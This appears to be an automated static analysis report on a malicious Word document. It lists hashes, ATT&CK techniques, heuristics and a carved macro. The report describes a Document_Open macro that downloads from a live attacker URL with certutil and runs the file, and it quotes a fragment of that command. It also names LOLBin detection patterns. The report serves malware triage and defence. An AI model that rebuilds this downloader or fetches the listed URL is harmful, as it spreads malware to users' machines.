Malicious Office (OLE) / .DOCX — malware analysis report

Static analysis result for SHA-256 ed63e84985e1af9c…

MALICIOUS

Office (OLE) / .DOCX

101.5 KB Created: 2019-06-24 07:11:00 Authoring application: Microsoft Office Word
MD5: 0c81b761f75047ccc4f41371fd8106d4 SHA-1: e431fb275b8fe9c09d53ac4ac35a0c9503acf03e SHA-256: ed63e84985e1af9c4764e6b6ca513ec1c16840fb2534b86f95e31801468be67a
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 System Binary Proxy Execution: Mshta T1059.003 Windows Command Shell

The sample contains a VBA macro that executes a command using Shell(). The macro constructs a command line that appears to use certutil.exe to download a file from 'http://panda2019.eu5.org/1.txt' and save it as '%temp%\mx.exe', then executes it. This is supported by the 'SE_LOLBIN_RUN_COMMAND' heuristic firing with the command 'certutil.exe %temp%\mx.exe && cd /d %temp% && mx -urlcache -'. The 'OLE_VBA_PCODE_AUTOEXEC_EXEC' and 'OLE_VBA_SHELL' heuristics further indicate malicious VBA execution.

Heuristics 10

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • ClamAV: Doc.Dropper.Agent-7176127-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7176127-0
  • Reference to certutil (download/decode) high SC_STR_CERTUTIL
    Reference to certutil (download/decode)
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://panda2019.eu5.org/1.txt
    • http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
052dbbd68a51f30ba00f622b72503045b9f3f852d0f6c5ea9377d9a0f65592f6		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 1149 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

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